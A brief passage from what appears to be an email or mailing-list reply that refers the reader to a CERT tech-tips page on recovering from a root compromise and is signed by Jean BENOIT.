detailed instructions here : http://www.cert.org/tech_tips/root_compromise.html Best regards, Jean BENOIT